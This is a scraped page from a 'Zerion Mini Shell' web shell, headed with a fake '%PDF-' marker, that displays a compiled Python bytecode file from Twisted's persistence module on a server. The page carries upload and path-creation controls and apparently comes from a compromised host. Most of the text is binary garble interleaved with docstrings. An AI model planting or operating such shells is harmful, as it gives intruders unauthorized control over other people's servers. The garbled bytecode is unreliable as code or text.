%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/persisted/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/persisted/__pycache__/styles.cpython-312.pyc

�

Ϫ�f1����UdZddlZddlZddlZddlZddlZddlmZ	ddl
mZddlm
Z
mZddlmZiZeeej&fed<ej*Zd�Zd	�Zd
�Zej
ej4e�d�Zd�Zej
ej:e�d
�Zd�Zej
ej&e�d�Z d�Z!d�Z"d�Z#Gd�d�Z$ia%ee&dfed<ia'd�Z(d�Z)d�Z*Gd�d�Z+y)z(
Different styles of persisted objects.
�N)�StringIO)�Dict)�log�reflect)�_PYPY�
oldModulesc�h�t|j|j|jjffS)z3support function for copy_reg to pickle method refs)�unpickleMethod�__name__�__self__�	__class__)�methods �:/usr/lib/python3/dist-packages/twisted/persisted/styles.py�pickleMethodrs-��	�	���&�/�/�6�?�?�+D�+D�E���c��t||�}|S)a�
    Retrieve the function object implementing a method name given the class
    it's on and a method name.

    @param classObject: A class to retrieve the method's function from.
    @type classObject: L{type}

    @param methodName: The name of the method whose function to retrieve.
    @type methodName: native L{str}

    @return: the function object corresponding to the given method name.
    @rtype: L{types.FunctionType}
    )�getattr)�classObject�
methodName�methodObjects   r�_methodFunctionr"s���;�
�3�L��rc��|�t||�S	t||�}d}tj||g|���}|S#t$rJtjd|d|�|�Jd��|j|ur�t|||j�cYSwxYw)aS
    Support function for copy_reg to unpickle method refs.

    @param im_name: The name of the method.
    @type im_name: native L{str}

    @param im_self: The instance that the method was present on.
    @type im_self: L{object}

    @param im_class: The class where the method was declared.
    @type im_class: L{type} or L{None}
    ��Methodznot on classz'No recourse: no instance to guess from.)	rr�types�
MethodType�AttributeErrorr�msgr
r
)�im_name�im_self�im_class�methodFunction�
maybeClass�bounds      rr
r
4s������x��)�)��(��7�;���
�� � ���F�:�F������C�����'�>�8�<��"�M�$M�M�"�����(���g�w��0A�0A�B�B�C�s�7�AB
�	B
c��|jdk(rtd|����ttdj	|j
|jg�g�fS)a�
    Reduce, in the sense of L{pickle}'s C{object.__reduce__} special method, a
    function object into its constituent parts.

    @param f: The function to reduce.
    @type f: L{types.FunctionType}

    @return: a 2-tuple of a reference to L{_unpickleFunction} and a tuple of
        its arguments, a 1-tuple of the function's fully qualified name.
    @rtype: 2-tuple of C{callable, native string}
    z<lambda>zCannot pickle lambda function: �.)r�_UniversalPicklingError�_unpickleFunction�tuple�join�
__module__�__qualname__)�fs r�_pickleFunctionr.WsL��	�z�z�Z��%�(G��s�&K�L�L��u�c�h�h����a�n�n�/M�&N�%O�P�Q�Qrc��ddlm}||�S)a�
    Convert a function name into a function by importing it.

    This is a synonym for L{twisted.python.reflect.namedAny}, but imported
    locally to avoid circular imports, and also to provide a persistent name
    that can be stored (and deprecated) independently of C{namedAny}.

    @param fullyQualifiedName: The fully qualified name of a function.
    @type fullyQualifiedName: native C{str}

    @return: A function object imported from the given location.
    @rtype: L{types.FunctionType}
    r)�namedAny)�twisted.python.reflectr0)�fullyQualifiedNamer0s  rr(r(hs��0��&�'�'rc�(�t|jffS)z3support function for copy_reg to pickle module refs)�unpickleModuler)�modules r�pickleModuler6~s���F�O�O�-�-�-rc��|tvr6tjd|z�t|}tj|�t|iid�S)z5support function for copy_reg to unpickle module refszModule has moved: %s�x)rrr�
__import__)�names rr4r4�sB���z�����&��-�.��$�������
��d�B��C�(�(rc�P�	t|j�|j�ffS)z�
    Reduce the given cStringO.

    This is only called on Python 2, because the cStringIO module only exists
    on Python 2.

    @param stringo: The string output to pickle.
    @type stringo: C{cStringIO.OutputType}
    )�unpickleStringO�getvalue�tell)�stringos r�
pickleStringOr@�s'��C��W�-�-�/�����@�@�@rc�^�t�}|j|�|j|�|S)a�
    Convert the output of L{pickleStringO} into an appropriate type for the
    current python version.  This may be called on Python 3 and will convert a
    cStringIO into an L{io.StringIO}.

    @param val: The content of the file.
    @type val: L{bytes}

    @param sek: The seek position of the file.
    @type sek: L{int}

    @return: a file-like object which you can write bytes to.
    @rtype: C{cStringIO.OutputType} on Python 2, L{io.StringIO} on Python 3.
    )�
_cStringIO�write�seek��val�sekr8s   rr<r<�s&��	��A��G�G�C�L��F�F�3�K��Hrc�N�t|j�|j�ffS)aQ
    Reduce the given cStringI.

    This is only called on Python 2, because the cStringIO module only exists
    on Python 2.

    @param stringi: The string input to pickle.
    @type stringi: C{cStringIO.InputType}

    @return: a 2-tuple of (C{unpickleStringI}, (bytes, pointer))
    @rtype: 2-tuple of (function, (bytes, int))
    )�unpickleStringIr=r>)�stringis r�
pickleStringIrK�s#���W�-�-�/�����@�@�@rc�>�t|�}|j|�|S)a�
    Convert the output of L{pickleStringI} into an appropriate type for the
    current Python version.

    This may be called on Python 3 and will convert a cStringIO into an
    L{io.StringIO}.

    @param val: The content of the file.
    @type val: L{bytes}

    @param sek: The seek position of the file.
    @type sek: L{int}

    @return: a file-like object which you can read bytes from.
    @rtype: C{cStringIO.OutputType} on Python 2, L{io.StringIO} on Python 3.
    )rBrDrEs   rrIrI�s��"	�3��A��F�F�3�K��Hrc�"�eZdZdZd�Zd�Zd�Zy)�	Ephemeralzh
    This type of object is never persisted; if possible, even references to it
    are eliminated.
    c��tdfS)zu
        Serialize any subclass of L{Ephemeral} in a way which replaces it with
        L{Ephemeral} itself.
        r)rN)�selfs r�
__reduce__zEphemeral.__reduce__�s��
�2��rc��tjd|z�ts?ddl}t	|dd�r.|j|�D]}tjd|����y)Nz!WARNING: serializing ephemeral %sr�
get_referrersz referred to by )rrr�gcrrS)rPrT�rs   r�__getstate__zEphemeral.__getstate__�sW�����3�d�:�;����r�?�D�1��)�)�$�/�4�A��G�G�.�q�c�2�3�4�rc�^�tjd|jz�t|_y)Nz#WARNING: unserializing ephemeral %s)rrr
rN�rP�states  r�__setstate__zEphemeral.__setstate__�s�����5����F�G�"��rN)rr+r,�__doc__rQrVrZrrrrNrN�s���
��#rrN�	Versioned�versionedsToUpgradec�f�ttj��D]
}t|��iaiay�N)�listr]�values�requireUpgrade�upgraded)�	versioneds r�	doUpgradere�s3���-�4�4�6�7�"�	��y�!�"����Hrc�r�t|�}|tvr$|tvrdt|<|j�|Syy)z?Require that a Versioned instance be upgraded completely first.�N)�idr]rc�versionUpgrade)�obj�objIDs  rrbrbs=���s�G�E��#�#��X�(=����������
�)>�#rc��|tg}tj|�D])}||vs�t|t�s�|j	|��+|ddS)z�
    Get all of the parent classes of C{c}, not including C{c} itself, which are
    strict subclasses of L{Versioned}.

    @param c: a class
    @returns: list of classes
    �N)r\�inspect�getmro�
issubclass�append)�c�l�bs   r�_aybabturu	sM��
�I��A�
�^�^�A�
����A�:�*�Q�	�2�
�H�H�Q�K��
�Q�R�5�Lrc�,�eZdZdZdZdZd�Zdd�Zd�Zy)	r\a�
    This type of object is persisted with versioning information.

    I have a single class attribute, the int persistenceVersion.  After I am
    unserialized (and styles.doUpgrade() is called), self.upgradeToVersionX()
    will be called for each version upgrade I must undergo.

    For example, if I serialize an instance of a Foo(Versioned) at version 4
    and then unserialize it when the code is at version 9, the calls::

      self.upgradeToVersion5()
      self.upgradeToVersion6()
      self.upgradeToVersion7()
      self.upgradeToVersion8()
      self.upgradeToVersion9()

    will be made.  If any of these methods are undefined, a warning message
    will be printed.
    rrc�6�|tt|�<||_yr_)r]rh�__dict__rXs  rrZzVersioned.__setstate__3s��(,��B�t�H�%���
rNc��tj|xs|j�}t|j�}|j	�|j|j�|D]]}d|jvr|jD]
}||vs�||=�d|jvs�9|j|tj|��d�<�_|S)z8Get state, adding a version number to it on its way out.�persistenceForgets�persistenceVersionz.persistenceVersion)
�copyrxrur
�reverserqrzr{r�qual)rP�dict�dct�bases�base�slots      rrVzVersioned.__getstate__7s����i�i��-��
�
�.������(��
�
�
��
���T�^�^�$��	,�D�#�t�}�}�4� �3�3�&�D��s�{���I�&�$�t�}�}�4��+�+���|�|�D�)�*�*=�>��
	,��
rc��t|j�}|j�|j|j�d|jvr{|jd}|jd=d}d}|D]/}d|jvr�|j
|kDs�"|}|j
}�1|r%||jdt
j|�z<|D�]<}t|jvrd|jvr�%|j
}dt
j|�z}|jj|�xsd}|r
|j|=||ksJd��||ks��|dz}|jjd|zd�}	|	rctjdt
j|��d	t
j|j��d
t|��d|���|	|�n%tjdj||��||kr����?y)
z (internal) Do a version upgrade.r{rNz%s.persistenceVersionz"Sorry, can't go backwards in time.rgzupgradeToVersion%sz
Upgrading z (of z @ z
) to version z(Warning: cannot upgrade {} to version {})rur
r}rqrxr{rr~r\�	__bases__�getrrrh�format)
rPr��pver�highestVersion�highestBaser��currentVers�pverName�persistVersrs
          rrizVersioned.versionUpgradeHs�������(��	�
�
��
���T�^�^�$��4�=�=�0��=�=�!5�6�D��
�
�2�3��N��K��
=��'�t�}�}�<���*�*�^�;�"&�K�%)�%<�%<�N�
=����
�
�+�g�l�l�;�.G�G��� 	�D�����/�(��
�
�=���1�1�K�.����d�1C�C�H��-�-�+�+�H�5�:��K���M�M�(�+��+�-�S�/S�S�-���+�)�A�o�����*�*�+?�+�+M�t�T����G�G�$�L�L��.�#�L�L����8��t�H�'����4�L��G�G�B�I�I� �+�����+� 	rr_)	rr+r,r[r{rzrZrVrirrrr\r\s$���(������"?r),r[r|�copyreg�copy_regrn�pickler�iorrB�typingr�twisted.pythonrr�twisted.python.compatrr�str�
ModuleType�__annotations__�
PicklingErrorr'rrr
rr.r(�FunctionTyper6r4r@r<rKrIrNr]�intrcrerbrur\rrr�<module>r�s��
����
��%��'�'�*,�
�D��e�&�&�&�'�,�!�.�.����$�@����� � �,�/�R�"(�&�����"�"�O�4�.�
)������ � �,�/�A�
�*
A� 
�,#�#�8/1��T�#�{�*�+�0�
�����$l�lr

Zerion Mini Shell 1.0